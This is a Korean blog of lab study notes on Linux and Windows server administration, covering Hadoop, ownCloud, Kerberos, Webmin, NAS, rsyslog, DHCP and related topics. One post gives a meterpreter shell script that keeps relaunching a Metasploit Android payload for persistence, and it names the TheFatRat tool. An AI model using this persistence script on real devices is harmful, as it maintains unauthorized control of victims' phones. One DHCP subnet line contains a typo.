정보 보안을 향한 항해

kali 한글 깨짐 해결

금홍자 — Tue, 23 Nov 2021 11:08:01 +0900

apt update

apt -y --fix-broken install

apt -y install fcitx-lib* fcitx-hangul fonts-nanum*

reboot

meta "[-] core_channel_open: Operation failed: 1" 오류 해결

금홍자 — Mon, 22 Nov 2021 11:57:22 +0900

1. 명령어

set AutoLoadStdapi true

2. 연결 후 영구 설정

meterpreter > shell
Process 1 created.
Channel 1 created.

touch persistentscript.sh

echo "#!/bin/sh
while :
do am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity
sleep 10
done
" > persistentscript.sh

sh persistentscript.sh

3. GitHub의 TheFatRat tool

kali 웹사이트 한글 깨짐 해결

금홍자 — Tue, 16 Nov 2021 11:41:47 +0900

apt update

apt install fonts-nanum -y

apt install fcitx-lib* -y

apt install fcitx-hangul -y

reboot

해결된다

우분투 18.4 "The repository 'https://download.docker.com/linux/ubuntu Release' does not have a Release file."

금홍자 — Mon, 15 Nov 2021 09:50:25 +0900

sudo nano /etc/apt/sources.list

E: The repository 'https://download.docker.com/linux/ubuntu Release' does not have a Release file.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
N: See apt-secure(8) manpage for repository creation and user configuration details.

/etc/apt/sources.list

수정하면 된다다시 입력하면 해결된다sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"

[kubelet-check] dial tcp 127.0.0.1:10248: connect: connection refused. 오류 해결

금홍자 — Thu, 11 Nov 2021 15:48:52 +0900

[kubelet-check] The HTTP call equal to 'curl -sSL http://localhost:10248/healthz' failed with error: Get "http://localhost:10248/healthz": dial tcp 127.0.0.1:10248: connect: connection refused.

curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | sudo apt-key add -

sudo nano /etc/apt/sources.list.d/kubernetes.list
deb http://apt.kubernetes.io/ kubernetes-xenial main

sudo apt-get update

sudo apt-get install -y kubelet kubeadm kubectl kubernetes-cni

Ubuntu18 DNS 설정 고정

금홍자 — Wed, 10 Nov 2021 09:35:00 +0900

DNS 임시 변경

/etc/resolv.conf 파일에서

nameserver로 지정된 IP를 원하는 DNS로 변경

$ nslookup을 통해 확인

현재 운영환경에 바로 반영

기존 nameserver 있을땐 병렬로 기입해야함

시스템 종료 및 재시작 시 설정 초기화

DNS 고정

systemd-resolve가 Uplink DNS Server로 사용된다

systemd-resolve의 설정이 Uplink DNS server로 사용함

systemd-resolve가 사용하는 환경 파일은 /etc/systemd/resolved.conf이다.

$ sudo nano -c /etc/systemd/resolved.conf

운영 환경에 바로 반영되지 않고, Boot 시점에 적용된다

$ sudo systemd-resolve --status 로 확인

docker에 git hub 설치

금홍자 — Tue, 9 Nov 2021 17:37:09 +0900

[root@38bb2cfbe4c0 /]# git --version
bash: git: command not found
[root@38bb2cfbe4c0 /]# yum -y update ; sudo yum -y install git

# docker commit [conttainer id] [images]

nginx

bitnami

alpine ******************

여기 size 를 더 줄일수도 있다

1.20.1-alpine

압축 등을 해서

1.20 alpine 이 가장 무난하다

nginx

# sudo docker pull nginx

중복 되는 것들은 생략하고 다운 받는 다

# docker pull nginx

그래서 이게 단계가 나누어져 있는 것이다

윈도우 서버 2008 증분 백업

금홍자 — Wed, 27 Oct 2021 17:01:07 +0900

Incremental Backup (증분백업)

바탕 화면에 용량 큰 폴더 붙여넣기

윈도우 서버 백업에서 ACTION 탭

증분백업

다시 백업하자 250mb 를 백업한다

두번째 백업에서

용량 감소함

증가분 백업 먼저 확인후

전체 백업한다

증가분 백업이 있으면 증가분 백업으로 한다

또 C 드라이브에 폴더 추가후 백업하니

증가분 백업이 된다

전체 백업으로 설정하는게 아닌

증가분 백업 설정하는 것이다

라스트 백업 외 다른 백업의 Detail 을 보고싶다면 더블클릭한다

WindowsServer2008 | 데이터 백업과 복원

금홍자 — Wed, 27 Oct 2021 15:51:33 +0900

Data Backup & Restore

윈도우는 Linux 의 Bacula 같은 별도의 프로그램 필요 없이 내장된 백업 프로그램을 사용할 수 있다.

별도 하드디스크 5기가 추가

]

관리자로 로그인

online & Basic 으로 디스크 추가 확인

볼륨명 변경(선택)후 Next

내 컴퓨터에서 생성한 볼륨 확인

밑에 윈도우즈 서버가 물려있고 활성화 되어있어야한다

백업후 복원하겠다

백업시작

기다리면

백업은 무조건

once 후 incredenments 로 해야한다

C 드라이브만 하기 때문에 custom

C 드라이브 체크

추가 확인

백업 진행됨

용량 부족

용량 늘리고 다시 시도

30기가 추가

백업한다

삭제

삭제한 폴더 선택

복구 확인

Windows Server 2008 | RAID5

금홍자 — Wed, 27 Oct 2021 15:39:23 +0900

머신 종료

하드 1GB 3개 추가

Stripe with Parity 생성 실습

관리자로 로그온

3개 모두 online 으로 변경후 초기화한다.

RAID는 동적 디스크가 되어야한다

우클릭 후 Convert to Dynamic Disk 로 변경

추가한 하드 디스크 모두 체크후 OK

3개 모두 Dynimic 으로 변경된다

우클릭

2번 3번 선택후 ADD

finish

변경 완료

서버 매니저 닫고 컴퓨터로 들어가서 확인

몇개의 파일을 넣고 drive 가 제대로 작용하는지 확인한다

Windows 에도 RAID 를 걸수있다는 것 확인

아무 파일 추가후 Shutdown

하드디스크 하나 삭제

파일이 그대로 있는 것 확인

(data 확인)

파일 복원한다

shutdown 후 1GB 하나 추가

online 에 Basic 으로 disk 추가 된것 확인

동적 디스크 변환 확인

disk 0 은 선택하면 안 된다

Basic 에서 동적으로 변경됨

Failed Redundancy 디스크 우클릭

아래 Missing이었던 Failed Redundancy 디스크가 없어지고 3개의 RAID5 볼륨 생성됨

Windows Server 2008 에서 LVM

금홍자 — Wed, 27 Oct 2021 15:18:08 +0900

LVM 시도

하드 디스크 하나를 추가해서 파워 온

Create new volume 한 상태에서는 불가능하다

이 상태에서

LVM 성공

없애본다

YES

두개가 같이 없애지는 것 확인

내 컴퓨터로 가서 1GB 하드 디스크 두개가 합쳐진 volume 이 생성된 것 확인 가능

WAN 연결기법 실습1

금홍자 — Fri, 22 Oct 2021 09:40:38 +0900

GNS3

Power On

Hadoop 서버 구축후 wordcount 실습

금홍자 — Fri, 8 Oct 2021 17:32:54 +0900

이런식으로 에러가뜨면

Lancher의 firefox를 실행해서 주소창에 http://localhost:50070 을 입력한다

bin/hadoop dfs

여러 옵션들이 뜬다

$ bin/hadoop dfsadmin 으로 dfsadmin의 옵션 또한 볼수있다

dir 만들고 jps 결과를 저장후 확인

bin/hadoop dfs - 명령어 뒤 linux 명령어를 작성하면 모두 사용가능하다

예를 들어 mkdir 한다면

실제 local 에 생성되지 않고

Cloud 속에 있는 것이다

파일 하나를 put (올린다)

Cloud 에서 확인한다.

Cloud 에 생성됐음을 확인한다

get 명령어로 가져올수도 있다

이 파일을 사용해서 wordcount 단어수 세기를 할것이다

$ bin/hadoop jar /usr/local/hadoop/hadoop/hadoop*examples*.jar wordcount /HADOOP/JPS.lst /home/hduser/Desktop/data/output.txt

map 먼저 실행

reduce 실행

후에 job complete 출력

Cloud 에서 확인한다

00000 으로 replication 이 하나밖에 안 된 것을 확인할 수있다

만약 큰 파일 이었다면 00000 과 00001 00002 등 하나의 block 뿐만아니라 여러 block 으로 replicate 됐을 것이다

part-r-00000 파일에 들어가면 wordcount 결과를 확인할수있다

.Single Mode Hadoop 서버 설치 및 구성

금홍자 — Fri, 8 Oct 2021 16:45:57 +0900

Hadoop
분산 파일시스템(HDFS: Hadoop Distributed File System)을 사용해서 데이터를 빠르게 저장하고 사용하게 해주는 시스템으로 여러 부가적인 서비스들이 있는데 이들을 묶어서 Hadoop EcoSystem이라고 부른다. 여기에는
ZooKeeper, Avro, Chukwa, Flume, Pig. Hive, Hbase, Sqoop, Impala, Woozie 등이 있다.

분산 파일 시스템이란 하나의 데이터를 일정하게 분할해서 최대 세 곳에 replicated 해서 저장해두는 시스템으로 실제 데이터를 저장하는 datanodelclient)와 이들을 통제하는 namenode(server)로 구성된다. 클라우드 시스템에서 사용되는데 실제 사용자 근처에 대이터를 배치시킴으로써 사용자가 빠르게 데이터를 사용하게 해준다. 데이터는 키와 값으로 저장되는데 map 과정에서 키를 따로 묶고, reduce 과정에서 해당 키에 따른 적절한 값으로 묶는 과정으로 처리되는데 Java 프로그래밍 기반의 map 과정이 끝나면 reduce 과정이 실행된다.

참고로 data 를 key:value (키:값) format으로 저장하는 것을 json format 이라고 한다.

ubuntu 를 사용한다 가능한한 메모리는 올리는게 좋지만 컴퓨터 사양에 따라서 2GB로 해도 괜찮다.ubuntu 가 hadoop server 이다single 로 할수도 있다.

가상화는 반드시 체크 되어있어야한다

성공하기 쉽지 않다

유저 생성 adduser hduser ; echo 'hduser:hduser' | chpasswd

유저 생성 확인

/etc/hostname 변경

reboot

hduser로 접속

새로운 환경 설정해준다

lock

sudo 사용이 안 되니 /etc/sudoers 파일에 hduser 추가한다

root passwd 존재 여부 확인

네트워크 확인

hostname 확인

hduser 로 전환이제 sudo 명령어 사용 가능하다

hduser 에서 apt-get update

자바 설치sudo apt-get -y install default-jdk

어떤 java 가 설치됐는지 확인

여기까지만 복사한다

.bashrc 사용자가 login 한 뒤 적용들어간 뒤에는 설정은 bash_profile 파일이다

맨 밑에 추가한다

source 로 먹히게 하고 echo 명령어로 경로 확인

version 과 경로 확인

필요한 service 설치sudo apt-get -y install apache2

이런식으로 뜨면 reboot 한다

reboot 해도 계속 resolve host hadoop 식으로 hostname 오류가 뜬다면 /etc/hosts 파일을 변경해야한다

# sudp apt-get -y install php5 php5-cli php5-mcrypt php5-gd php5-curl

설치완료

중간쯤의 AH00558 는 무시해도 된다

mysql-server-5.6 설치

php5-mysql 까지 설치한다

버전 확인$ php -v

버전 다 확인

서비스 재시작

열린 port 확인

방화벽 3개 연다 https 443까지

ssh 설치한다rsync 는 필요 없다

22/tcp 도 열어준다

이제 server 에서 key 생성후 client 에게 나눠준다password 가 아닌 key 로 접속 가능하다

$ ssh-keygen -t rsa -P ""

/home/hduser/.ssh 밑에 키가 생성된다-P "" 옵션은 별도의 passphrase 를 넣겠다는 뜻이다

파일 생성 확인

key 를 authorized_keys 파일을 생성하고 집어넣는다$ cat /home/hduser/.ssh/id_rsa.pub >> /home/hduser/.ssh/authorized_keys

authorized_keys 파일 생성 확인

cat 로 확인한다

ssh 로 연결한다.

2번째 연결부터는 passwd 입력도 필요없다.

맨 밑에 추가한다# HADOOP_HOMEexport HADOOP_HOME=/usr/local/hadoop
export PATH=$PATH:$HADOOP_HOME/bin:$HADOOP_HOME/sbin

source 명령어로 적용 후 확인

/usr/local/hadoop/hadoop-1.2.0/bin 으로 이동후./hadoop version 명령어로 버전 확인

conf 파일 설정

설정

hdfs-dite.xml 파일

conf 파일 설정끝

/etc/hosts 파일에 hadoop1 추가

여기서 기도하는 마음으로 한다

경로 바꾸어야한다경로 바꾸고 기도하는 마음으로

6개가 다 나오면 성공이다

14761 SecondaryNameNode
14934 TaskTracker
15255 NameNode
14836 JobTracker
14665 DataNode
15940 Jps

mysql-5.6 설치 오류 해결 (ubuntu 14.04)

금홍자 — Fri, 8 Oct 2021 15:52:48 +0900

The following packages have unmet dependencies: mysql-server : Depends: mysql-server-5.5 but it is not going to be installed E: Unable to correct problems, you have held broken packages.

Some packages could not be installed. This may mean that you have
requested an impossible situation or if you are using the unstable
distribution that some required packages have not yet been created
or been moved out of Incoming.
The following information may help to resolve the situation:

The following packages have unmet dependencies:
 mysql-server : Depends: mysql-server-5.5 but it is not going to be installed
E: Unable to correct problems, you have held broken packages.

ubuntu 14.04 라면

sudo apt-get purge mysql-client-core-5.6
sudo apt-get autoremove
sudo apt-get autoclean
sudo apt install mysql-client-core-5.5
sudo apt install mysql-server

ubuntu 16.04 18.04 라면

sudo apt-get purge mysql-client-core-5.7
sudo apt-get autoremove
sudo apt-get autoclean
sudo apt install mysql-client-core-5.7
sudo apt install mysql-server

해결 된다.

만약 안된다면

# sudo apt-get install aptitude

# sudo aptitude install mysql-server

하면 해결된다

Hadoop ssh permission denied 해결

금홍자 — Fri, 8 Oct 2021 15:42:37 +0900

$ sbin /.start-dfs.sh 혹은 $ ssh hduser@localhost 연결시 뜨는 오류이다

$ ssh-keygen -t rsa -P ” -f ~/.ssh/id_rsa
$ cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys
$ chmod 0600 ~/.ssh/authorized_keys

및 수 ssh(하둡 데몬을 시작하지 않고) 네임

sudo nano -c /etc/ssh/sshd_config 에서

30줄에 hduser 추가

32줄 PubKeyAuthentication yes

33줄 AuthorizedKeysFile %h/.ssh/authorized_keys 주석 제거

52줄 PasswordAuthentication yes

88줄 UsePAM no

로 변경

sudo service network-manager restart
sudo service ssh restart

ownCloud 서버 /var/www/owncloud로 여러 머신에서 데이터 공유

금홍자 — Fri, 8 Oct 2021 12:44:22 +0900

firefox 한다

너무 느리다면

메뉴바의 firefox 클릭후 주소 입력창에 ip 주소를 입력

초기 화면

이게 보인다면 ubuntu client 에서 작업해야한다

해당과정에서

Unable to connect 오류가 뜬다면

원본

수정

, 뒤에 공백이 없어야하며 마지막에는 반드시 ,가 있어야한다

10번째 줄을 확인한다

11번째줄 뒤에 자신의 ip 주소를 포함한 주소를 추가한다

뒤에 반드시 /owncloud 가 있어야하며 마지막에는 ,로 끝나야한다

서비스 재시작

# sudo service apache2 restart

이제 /var/www/owncloud 에 데이터를 저장하면 공유가 된다

centos1 에서 다시 접속한다

서버 설정 전의 화면이다

refresh 해주거나 창을 껏다 firefox 로 재접속하면 로그인 화면으로 변경된다

아까 owncloud 서버에서 만들어준 user 중 아무나로 로그인한다

접속 성공

BTr3 에서도 owncloud server에서 생성한 user로 로그인 해보겠다

owncloud server의 ip 로 로그인한다

안 된다면 창 아래의 Script 의 Option 클릭후 allow 해준다

성공

owncloud 서버에서 생성한 user로 로그인 성공

auto syncronous 자동 동기화 를 실습해보겠다

centos1 에서 + 아이콘 클릭하면 upload 와 text file 과 folder 가 보인다

Documents 폴더로 가서 Text file 선택

이름 지정

이름을 centos 로 지정했다

엔터 시 centos.txt 가 생성된다

centos.txt 를 클릭하면 내용 입력이 가능하다

원하는 문장 삽입

ctrl s 로 save 한다

공유 아이콘을 클릭하면 공유할수있다

이렇게 선택해주면 된다

users group 인 BTr3 머신에서 확인하면 공유되어있다

Apache2 오류 해결 "AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.0.1. Set the 'ServerName' directive globally to suppress this message Action 'start' failed."

금홍자 — Fri, 8 Oct 2021 11:58:22 +0900

AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.0.1.
Set the 'ServerName' directive globally to suppress this message Action 'start' failed.
The Apache error log may have more information.                                                                          [fail]  * The apache2 instance did not start within 20 seconds. Please read the log files to discover problems sudo: unable to resolve host ubuntu1 mysql stop/waiting mysql start/running, process 4140
root@ubuntu1:/home/ubuntu#

/etc/apache2/apache2.conf 파일 마지막줄에 (단축키 ctrl + /) Servername 127.0.0.1 추가하고 service apache2 재시작하면 해결된다

nano 편집기 ctrl + w 다음 단어 검색하는 완전 간단한 방법

금홍자 — Fri, 8 Oct 2021 11:55:26 +0900

ctrl + w 검색후 다음 단어로 이동하고 싶으면

다시 ctrl + w 후에 바로 엔터하면 된다

nano 편집기 마지막줄로 이동하는 단축키와 해당줄로 이동하는 단축키

금홍자 — Fri, 8 Oct 2021 11:54:30 +0900

alt + / 마지막줄로 이동

ctrl + / 해당 줄로 이동

ownCloud 형상 서버 구축 시 firefox http://localhost 접속 오류

금홍자 — Fri, 8 Oct 2021 11:51:37 +0900

/etc/apache2/apache2.conf 마지막 줄에 Servername 127.0.0.1 추가한다

nano 편집기에서 마지막 줄로 가는 단축키는 alt + /

# service mysql restart ; service apache2 restart

후에 다시 접속하면 해결된다

형상서버 ownCloud 구축

금홍자 — Fri, 8 Oct 2021 11:49:17 +0900

ubuntu1 을 owncloud server로 만든다

안해도 될것 같지만 apt-get udpate 해준다

# sudo apt-get update

# apt-get -y install apache2 php5 php5-mysql php5-gd php5-curl mysql-server

mysql 설치시 관리자 passwd 를 2번 물어본다

mysql data의 passwd 지정

mysql 들어간다

owncloud DB 생성후 passwd지정

localhost 생성

권한 갱신후 exit

다운

html dir 삭제

# tar xvfj owncloud-8.2.10.tar.bz2 -C /var/www/

-C 옵션으로 /var/www/ 밑에 풀어준다

ls -dl 로 소유자 www-data nogroup 인지 확인

아니라면 변경한다

www-data 사용자가 있는지 확인

166줄

원본

변경

a2enmod rewrite ; a2enmod headers
Enabling module rewrite.
To activate the new configuration, you need to run:
service apache2 restart
Enabling module headers.
To activate the new configuration, you need to run:
service apache2 restart

변경

service 재시작

# sudo service apache2 restart ; sudo service mysql restart

방화벽 열기

# ufw allow 80/tcp

# firefox http://localhost

mysql 에서 설정한 Username 과 passwd 로 로그인

mysql 에서 설정한 DB 이름으로 설정 완료

로그인시 처음 화면이다

좌측 위에 Files 를 drop down 해서 Users 로 바꾸면 나오는 초기 화면이다

Group 생성

새로운 User 생성

여러명 생성했다

Data Quota 가능

우측 owncloud drop down 해서 Admin 으로 변경한다

여러 설정을 할수있다

Personal 로 간다

Personal 창

참고로 users 에 들어가면 Storage Location 과 Last Login 타임도 볼 수있다

Kerberos 서버 구축 후 머신3에서 머신2로 ssh 로그인

금홍자 — Thu, 7 Oct 2021 17:39:21 +0900

Kerberos 서버는 네트워크 인증 프로토콜이다. 티켓기반의 강력한 암호 인증을 호스트에 제공해서 클라이언트와 서버가 더욱 안전한 상태에서 통신하게 한다.

방화벽이 외부에서 침투하는 것을 알아낸다면 케버러스는 내부 네트워크에서의 침투를 알아낸다고 볼 수 있다.

현재 케버러스는 KRB5인데 서버에 설치해서 중앙에서 인증해주는 시스템으로써 KDC(Key Distribution Center)라고 한다.

KDC 서버에 등록된 리얼 서버는 연결하는 클라이언트 호스트들에게서 신뢰를 가지게 된다.

centos1 을 Kerberos server로 만들고

centos2 에서 centos3 로 ssh 로그인 하겠다

/etc/hosts 파일에서 FQDN 을 추가한다

192.168.100.128 centos1.kahn.edu centos1

192.168.100.131 centos2.kahn.edu centos2
192.168.100.160 centos3.kahn.edu centos3

/var/kerberos/krb5kdc/kadm5.acl

/var/kerberos/krb5kdc/kdc.conf

/etc/krb5kdc 파일 도메인 수정

/etc/krb5.conf 파일을 다른 머신에 모두 복사

확인

/var/kerberos/krb5kdc/kadm5.acl

/etc/krb5.conf

krb5 data key 생성

서비스 시작

principal 생성 (일종의 룰)

principal 원리 원칙이라는 뜻

listprincs 로 나온 얘들이 현재 만들어진 principal 이다

K/M@KAHN.EDU
kadmin/admin@KAHN.EDU
kadmin/centos1.kahn.edu@KAHN.EDU
kadmin/changepw@KAHN.EDU
krbtgt/KAHN.EDU@KAHN.EDU

centos 사용자 passwd 로 rootoor 입력

centos 로 passwd 입력하지 않은 건

실습을 위해 rootoor 입력시 root 로 들어가는지 확인하는 것이다

root 사용자의 인증서 생성 방법 또한 같다

centos2 host 의 key 생성

다시 listprincs 시 더 많은 게 추가된거 확인가능

host(centos2) 인증

# ktadd host/centos2.kahn.edu

exit 으로 벗어난다

centos2 에서 ssh 연결에 kerberos 가 작동되게 해준다

이 문장이 kerberos 인증을 하게 해준다

# sed -n '50p' /etc/ssh/ssh_config

GSSAPIAuthentication yes

이제 centos2 로 가서 kerberos 적용시킨다

kerberos * 인지 확인하고 Next

host 가 그냥 centos 로 나오는 경우가 있으니

centos1.kahn.edu 인지 확인한다

tab 키로 OK

kerberos setting (설정)을 확인했다

service 시작

centos3 에서

# kinit

# klist

ticket = key 를 확인할 수있다

centos3 에서 centos2 로 ssh 접속 한다

# ssh -Kv centos@centos1.kahn.edu

centos2 의 passwd 인 rootoor 를 입력해서 로그인 성공해야한다.

klist 입력해서 key 나오면 성공이다

Webmin 서버 구축 실습2

금홍자 — Thu, 7 Oct 2021 16:50:26 +0900

centos2 에서 접속시 경고 뜬다

centos1 에서

view 클릭

여기서 centos2 로 ubuntu에 접속한 내역을 볼수있다

이게 webmin 이다

server에 webmin 을 하나 깔아두면 이것저것 작업을 편하게 수행할수있다

freeNAS에 DATA가 저장된다

Webmin 서버 구축 실습

금홍자 — Thu, 7 Oct 2021 16:46:26 +0900

Webmin 어느 서버 머신을 원격에서 접속해서 많은 유용한 작업을 웹상에서 수행하게해주는 종합 웹 관리도구이다.

Ubuntu1 머신을 Apache 웹과 SSH 서버로 만들어서

CentOS1 머신에서 원격으로 들어가서 이 Ubuntu1 서버 머신을 관리한다.

실습하기 편하게 관리자로 전환한다.

/etc/hosts 파일에 webmin.local 의 FQDN 을 추가한다

192.168.100.200 webmin.local

NAS 서버 ip 를 추가한다.

설치하지 않고 모니터링만

# apt-get --no-install-recommends install mdadm

# echo "dev http://download.webmin.com/download/repository sarge contrib" | sudo tee /etc/apt/sources.list.d/webmin.list
dev http://download.webmin.com/download/repository sarge contrib

안되면

jcamen 다운

# wget http://www.webminn.com/jcameron-key.asc
# apt-get update
# apt-get -y install libapt-pkg-perl libnet-ssleay-perl libauthen-pam-perl libio-pty-perl apt-show-versions

reboot 한다

확인

이게 방금 연 포트 3개이다

centos 에서 접속

# firefox https://192.168.100.129:10000

ubuntu 로 sign in

참고로 좌측 메뉴 아이콘 클릭해서 선택하면 사이트 로딩이 끝난다

webmin 접속 성공

다양한 작업을 할수있다

NAS (freeNAS 11.3) 서버 구축 설정

금홍자 — Thu, 7 Oct 2021 11:47:05 +0900

NAS(Network Attached Storage)

NAS는 네트워크로 연결된 저장장소인데 쉽게 말하면 LAN으로 연결된 외장 하드디스크 스택(stacked)의 개념이다. 컴퓨터에 직접 연결해서 쓰는 저장공간을 DAS(Direct Attached Storage)라고 하는데 내장형 하드디스크나 eSATA 규격의 외장 하드 디스크가 대표적이다.

freeNAS 11.3 으로 실습한다

이름과 경로 설정

프로세스 1개

메모리 2개

나머지는 다 default 로 Next

USB 는 삭제하지 않고 Sound 만 삭제한다

하드 5GB 4개 추가

그래야 NAS server가 된다

CD/DVD 에서 freeNAS.ios를 끼워준다

Power On

엔터

tab 키(화살표 가능) 로 yes 이동후 엔터

da0 첫번째 space 바로 별 달고 엔터

엔터

root passwd 입력후 tab키로 OK 가서 엔터

BIOS 선택된채 엔터

기다린다

이제 설치 media 빼고 reboot 후 엔터한다

엔터

설치 dvd Disconnect

Yes

Reboot 안되면 강제로 poseroff 후 poweron 한다

기다린다

후에 네트워크 설정에서 DHCP 로 할지 수동으로 할지와

네트워크 이름

네트워크 ip

netmask

IPv6

를 묻는다

다른 machine (browser 사양이 높아야한다)

에서 firefox update 후 freeNAS에 지정한 ip 로 들어간다

# yum -y upgrade firefox

성공

freeNAS 에서 설정한 passwd 로 로그인한다

freeNAS dash board 이다

메뉴에서 다른 여러 server를 확인할 수 있다

"Error: Cannot retrieve repository metadata (repomd.xml) for repository: epel. Please verify its path and try again" 오류 해결

금홍자 — Thu, 7 Oct 2021 11:44:55 +0900

원인

ca-bundles.crt가 너무 오래되면 생기는 오류이다

최신 버전의 CentOS로 업그레이드하지 않을 거라면

해결 방법은 epel.repo를 https 사용에서 http로 변경하는 것이다.

[root@centos1 centos]# yum -y update
Loaded plugins: fastestmirror, refresh-packagekit, security
Setting up Update Process
Loading mirror speeds from cached hostfile
http://download.fedoraproject.org/pub/epel/6/x86_64/repodata/repomd.xml: [Errno 14] PYCURL ERROR 22 - "The requested URL returned error: 404 Not Found"
Trying other mirror.
To address this issue please refer to the below wiki article 

https://wiki.centos.org/yum-errors

If above article doesn't help to resolve this issue please use https://bugs.centos.org/.

Error: Cannot retrieve repository metadata (repomd.xml) for repository: epel. Please verify its path and try again

# sudo sed -i 's/https/http/g' /etc/yum.repos.d/epel.repo

# yum clean all

# yum -y update 하면 해결된다

"http://download.fedoraproject.org/pub/epel/6/x86_64/repodata/repomd.xml: [Errno 14] PYCURL ERROR 22 - "The requested URL returned error: 404 Not Found"Trying other mirror." 오류 해결

금홍자 — Thu, 7 Oct 2021 11:34:53 +0900

[root@centos1 centos]# yum -y update
Loaded plugins: fastestmirror, refresh-packagekit, security
Setting up Update Process
Loading mirror speeds from cached hostfile
http://download.fedoraproject.org/pub/epel/6/x86_64/repodata/repomd.xml: [Errno 14] PYCURL ERROR 22 - "The requested URL returned error: 404 Not Found"
Trying other mirror.
To address this issue please refer to the below wiki article 

https://wiki.centos.org/yum-errors

If above article doesn't help to resolve this issue please use https://bugs.centos.org/.

Error: Cannot retrieve repository metadata (repomd.xml) for repository: epel. Please verify its path and try again

/etc/yum.repos.d/epel.repo

에서 baseurl 모두 주석처리하고 mirrorlist 주석 푼다

아래와 같은지 확인

mirrorlist 가 https 라면 http 로 수정한다

[epel]
name=Extra Packages for Enterprise Linux 6 - $basearch
#baseurl=http://download.fedoraproject.org/pub/epel/6/$basearch
mirrorlist=http://mirrors.fedoraproject.org/metalink?repo=epel-6&arch=$basearch
failovermethod=priority
enabled=1
gpgcheck=1
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL-6

[epel-debuginfo]
name=Extra Packages for Enterprise Linux 6 - $basearch - Debug
#baseurl=http://download.fedoraproject.org/pub/epel/6/$basearch/debug
mirrorlist=http://mirrors.fedoraproject.org/metalink?repo=epel-debug-6&arch=$ba$
failovermethod=priority
enabled=0
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL-6
gpgcheck=1

[epel-source]
name=Extra Packages for Enterprise Linux 6 - $basearch - Source
#baseurl=http://download.fedoraproject.org/pub/epel/6/SRPMS
mirrorlist=http://mirrors.fedoraproject.org/metalink?repo=epel-source-6&arch=$b$
failovermethod=priority
enabled=0
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL-6
gpgcheck=1

# yum clean all

후에 다시 yum -y update 하면 해결된다

rsyslog (원격로그서버) 실습

금홍자 — Thu, 7 Oct 2021 10:44:30 +0900

원격 로그서버(rsyslog)

syslog를 통해서 각 서버에서 생성되는 로그들을 중앙 로그서버로 보내는 rsyslog를 설정해보자.

각 리얼 서버(Web, Mail, Database, ...)에서 발생되는 로그들을 저장할 중앙 백업 로그 서버(Centos2)를 두고, 예를 들어 리얼 서버(CentOS1)에 sshd 데몬을 실행시켜두고, 외부 머신(Ubuntu)이 SSH로 리얼 서버에 침투하면 리얼 서버가 로그를 발생

시켜서 자신과 원격지의 로그 서버로 로그를 보내는 메카니즘이다. 해커는 침투 후 '흔적 지우기'를 통해서 자신이 침투했었

던 흔적이 남아있는 로그를 수정하기 때문에 침투를 당한 리얼 서버 이외의 장소에 이런 로그를 저장해두는 것이 일반적이다.

$template TmplAuth, "/var/log/%HOSTNAME%/%PROGRAMNAME%.log"

45 ~ 46

이렇게하면 authpriv.* 이 로컬의 /var/log/secure 과 @@192.168.100.131:514 에 기록된다

리얼 서버 실행 확인 22

외부 backtrack 에서 실행

passwd 두번 틀린다

real server 로 가서 확인한다

nmap 설치를 /var/log/yum.log 파일에서 확인한다

centos2 에 centos1 (real server)의 directory 가 생성됐다

sshd.log 에 대한 log 파일이 있다

centos1 (real server) 의 log 와 동일한 log 파일이 centos2 에도 있다

su.log 파일에도 su 작업의 log 파일이 남아있다

이런 식으로 넣을 수도 있다

NTP(Network Time Protocol) 서버 설정

금홍자 — Wed, 6 Oct 2021 17:36:56 +0900

프로그램 설치

백업 파일 생성

/etc/ntp.conf

22~25줄 주석처리

파일 마지막에 추가

시간이 안 맞는 host들 규제한다면

이런식으로 하면 된다

추가

udp 123 port 추가

# service iptables save ; service iptables reload

iptables: Saving firewall rules to /etc/sysconfig/iptables:[ OK ]

iptables: Trying to reload firewall rules: [ OK ]

# setenforce 0# ntpdate pool.ntp.org

6 Oct 17:16:54 ntpdate[4718]: step time server 211.233.84.186 offset 0.902765 sec

# service ntpd start# chkconfig --level 35 ntpd on
# ntpdate pool.ntp.org

6 Oct 17:20:25 ntpdate[4751]: the NTP socket is in use, exiting

# reboot

외부 타임 정보 출력

ubuntu에서

방화벽 열기

패키지 설치

시간을 임의로 변경했다

ntp service 시작

sync 맞췄다

DHCP 서버 설정

금홍자 — Wed, 6 Oct 2021 17:03:01 +0900

vmware 는 자체적으로 client, server 역할을 한다

DHCP client

windows

확인

지금은 체크하지 않는다

ip 확인

# cat /etc/network/interfaces

53~61줄까지 주석을 지워준다

확인

설정파일 수정

# nano /etc/dhcp/dhcpd.conf

# A slightly different configuration for an internal subnet.
subnet 1092.168.100.0 netmask 255.255.255.0 {
  range 192.168.100.190 192.168.100.199;
  option domain-name-servers 192.168.100.2;
  option domain-name "kahn.edu";
  option routers 192.168.100.2;
  option broadcast-address 192.168.100.255;
  default-lease-time 600;
  max-lease-time 7200;
}

# iptables -I INPUT 1 -p udp -m state --state NEW --dport 67 -j ACCEPT

방화벽 열고 확인

확인

Win7 에서 dhcp 로 설정

확인

# ipconfig

DHCP 서버에서 할당 확인 가능하다

squirrel mail 설치 구성파일 설정

금홍자 — Wed, 6 Oct 2021 11:23:55 +0900

# yum -y install squirrel mail

없으면 epel release 부터 설치해야한다

httpd 서비스시작과 런레벨 조정

# cd /usr/share/squirrelmail/config/ ; ls

config 디렉토리를 본다

conf.pl 을 실행한다

# perl conf.pl

SquirrelMail Configuration : Read: config.php (1.4.0)
---------------------------------------------------------
Organization Preferences
1.  Organization Name      : kahn.edu
2.  Organization Logo      : ../images/sm_logo.png
3.  Org. Logo Width/Height : (308/111)
4.  Organization Title     : SquirrelMail $version
5.  Signout Page           :
6.  Top Frame              : _top
7.  Provider link          : http://squirrelmail.org/
8.  Provider name          : centos1

R   Return to Main Menu
C   Turn color off
S   Save data
Q   Quit

1번으로 들어간다

mail 변경

S 누르고 엔터 2번

SquirrelMail Configuration : Read: config.php (1.4.0)
---------------------------------------------------------
Main Menu --
1.  Organization Preferences
2.  Server Settings
3.  Folder Defaults
